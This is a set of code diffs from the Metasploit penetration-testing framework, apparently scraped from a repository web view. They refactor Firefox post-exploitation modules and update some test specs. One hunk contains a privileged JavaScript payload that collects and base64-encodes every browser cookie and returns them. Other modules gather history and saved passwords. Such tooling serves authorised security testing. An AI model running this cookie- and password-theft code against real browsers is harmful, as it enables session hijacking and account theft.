||||
rescue JSON::ParserError => e
|
||||
|
@ -47,6 +47,7 @@ class Metasploit3 < Msf::Post
|
|||
%Q|
|
||||
(function(send){
|
||||
try {
|
||||
var b64 = Components.utils.import("resource://gre/modules/Services.jsm").btoa;
|
||||
var cookieManager = Components.classes["@mozilla.org/cookiemanager;1"]
|
||||
.getService(Components.interfaces.nsICookieManager);
|
||||
var cookies = [];
|
||||
|
@ -54,7 +55,7 @@ class Metasploit3 < Msf::Post
|
|||
while (iter.hasMoreElements()){
|
||||
var cookie = iter.getNext();
|
||||
if (cookie instanceof Components.interfaces.nsICookie){
|
||||
cookies.push({host:cookie.host, name:cookie.name, value:cookie.value})
|
||||
cookies.push({host:b64(cookie.host), name:b64(cookie.name), value:b64(cookie.value)})
|
||||
}
|
||||
}
|
||||
send(JSON.stringify(cookies));
|
||||
|
|
|
@ -5,11 +5,9 @@
|
|||
|
||||
require 'json'
|
||||
require 'msf/core'
|
||||
require 'msf/core/payload/firefox'
|
||||
|
||||
class Metasploit3 < Msf::Post
|
||||
|
||||
include Msf::Payload::Firefox
|
||||
include Msf::Exploit::Remote::FirefoxPrivilegeEscalation
|
||||
|
||||
def initialize(info={})
|
||||
|
@ -30,9 +28,7 @@ class Metasploit3 < Msf::Post
|
|||
end
|
||||
|
||||
def run
|
||||
print_status "Running the privileged javascript..."
|
||||
session.shell_write("[JAVASCRIPT]#{js_payload}[/JAVASCRIPT]")
|
||||
results = session.shell_read_until_token("[!JAVASCRIPT]", 0, datastore['TIMEOUT'])
|
||||
results = js_exec(js_payload)
|
||||
if results.present?
|
||||
begin
|
||||
history = JSON.parse(results)
|
||||
|
|
|
@ -29,9 +29,7 @@ class Metasploit3 < Msf::Post
|
|||
end
|
||||
|
||||
def run
|
||||
print_status "Running the privileged javascript..."
|
||||
session.shell_write("[JAVASCRIPT]#{js_payload}[/JAVASCRIPT]")
|
||||
results = session.shell_read_until_token("[!JAVASCRIPT]", 0, datastore['TIMEOUT'])
|
||||
results = js_exec(js_payload)
|
||||
if results.present?
|
||||
begin
|
||||
passwords = JSON.parse(results)
|
||||
|
|
|
@ -10,6 +10,7 @@ require 'msf/core/payload/firefox'
|
|||
class Metasploit3 < Msf::Post
|
||||
|
||||
include Msf::Payload::Firefox
|
||||
include Msf::Exploit::Remote::FirefoxPrivilegeEscalation
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
|
@ -36,9 +37,7 @@ class Metasploit3 < Msf::Post
|
|||
end
|
||||
|
||||
def run
|
||||
session.shell_write("[JAVASCRIPT]#{js_payload}[/JAVASCRIPT]")
|
||||
results = session.shell_read_until_token("[!JAVASCRIPT]", 0, datastore['TIMEOUT'])
|
||||
|
||||
results = js_exec(js_payload)
|
||||
if results.present?
|
||||
print_good results
|
||||
else
|
||||
|
|
|
@ -237,6 +237,7 @@ describe Msf::Ui::Console::CommandDispatcher::Db do
|
|||
" NeXpose XML Report",
|
||||
" Nmap XML",
|
||||
" OpenVAS Report",
|
||||
" Outpost24 XML",
|
||||
" Qualys Asset XML",
|
||||
" Qualys Scan XML",
|
||||
" Retina XML"
|
||||
|
|
|
@ -36,8 +36,8 @@ shared_context 'Msf::Util::Exe' do
|
|||
{ :format => "psh", :arch => "x86_64", :file_fp => /ASCII/ },
|
||||
{ :format => "psh-net", :arch => "x86", :file_fp => /ASCII/ },
|
||||
{ :format => "psh-net", :arch => "x86_64", :file_fp => /ASCII/ },
|
||||
{ :format => "war", :arch => "x86", :file_fp => /zip/i },
|
||||
{ :format => "war", :arch => "x86_64", :file_fp => /zip/i },
|
||||
{ :format => "war", :arch => "x86", :file_fp => /zip|jar/i },
|
||||
{ :format => "war", :arch => "x86_64", :file_fp => /zip|jar/i },
|
||||
{ :format => "msi", :arch => "x86", :file_fp => /(Composite Document)|(CDF V2 Document)/ },
|
||||
{ :format => "msi", :arch => "x64", :file_fp => /(Composite Document)|(CDF V2 Document)/ },
|
||||
{ :format => "msi", :arch => "x86_64", :file_fp => /(Composite Document)|(CDF V2 Document)/ },
|
||||
|
@ -51,29 +51,29 @@ shared_context 'Msf::Util::Exe' do
|
|||
{ :format => "elf", :arch => "armle", :file_fp => /ELF 32.*ARM/ },
|
||||
{ :format => "elf", :arch => "mipsbe", :file_fp => /ELF 32-bit MSB executable, MIPS/ },
|
||||
{ :format => "elf", :arch => "mipsle", :file_fp => /ELF 32-bit LSB executable, MIPS/ },
|
||||
{ :format => "war", :arch => "x86", :file_fp => /zip/i },
|
||||
{ :format => "war", :arch => "x64", :file_fp => /zip/i },
|
||||
{ :format => "war", :arch => "armle", :file_fp => /zip/i },
|
||||
{ :format => "war", :arch => "mipsbe", :file_fp => /zip/i },
|
||||
{ :format => "war", :arch => "mipsle", :file_fp => /zip/i },
|
||||
{ :format => "war", :arch => "x86", :file_fp => /zip|jar/i },
|
||||
{ :format => "war", :arch => "x64", :file_fp => /zip|jar/i },
|
||||
{ :format => "war", :arch => "armle", :file_fp => /zip|jar/i },
|
||||
{ :format => "war", :arch => "mipsbe", :file_fp => /zip|jar/i },
|
||||
{ :format => "war", :arch => "mipsle", :file_fp => /zip|jar/i },
|
||||
],
|
||||
"bsd" => [
|
||||
{ :format => "elf", :arch => "x86", :file_fp => /ELF 32.*BSD/ },
|
||||
{ :format => "war", :arch => "x86", :file_fp => /zip/i },
|
||||
{ :format => "war", :arch => "x86", :file_fp => /zip|jar/i },
|
||||
],
|
||||
"solaris" => [
|
||||
{ :format => "elf", :arch => "x86", :file_fp => /ELF 32/ },
|
||||
{ :format => "war", :arch => "x86", :file_fp => /zip/i },
|
||||
{ :format => "war", :arch => "x86", :file_fp => /zip|jar/i },
|
||||
],
|
||||
"osx" => [
|
||||
{ :format => "macho", :arch => "x86", :file_fp => /Mach-O.*i386/ },
|
||||
{ :format => "macho", :arch => "x64", :file_fp => /Mach-O 64/ },
|
||||
{ :format => "macho", :arch => "armle", :file_fp => /Mach-O.*(acorn|arm)/ },
|
||||
{ :format => "macho", :arch => "ppc", :file_fp => /Mach-O.*ppc/ },
|
||||
{ :format => "war", :arch => "x86", :file_fp => /zip/i },
|
||||
{ :format => "war", :arch => "x64", :file_fp => /zip/i },
|
||||
{ :format => "war", :arch => "armle", :file_fp => /zip/i },
|
||||
{ :format => "war", :arch => "ppc", :file_fp => /zip/i },
|
||||
{ :format => "war", :arch => "x86", :file_fp => /zip|jar/i },
|
||||
{ :format => "war", :arch => "x64", :file_fp => /zip|jar/i },
|
||||
{ :format => "war", :arch => "armle", :file_fp => /zip|jar/i },
|
||||
{ :format => "war", :arch => "ppc", :file_fp => /zip|jar/i },
|
||||
],
|
||||
}
|
||||
|
||||
|
|
Loading…
Reference in New Issue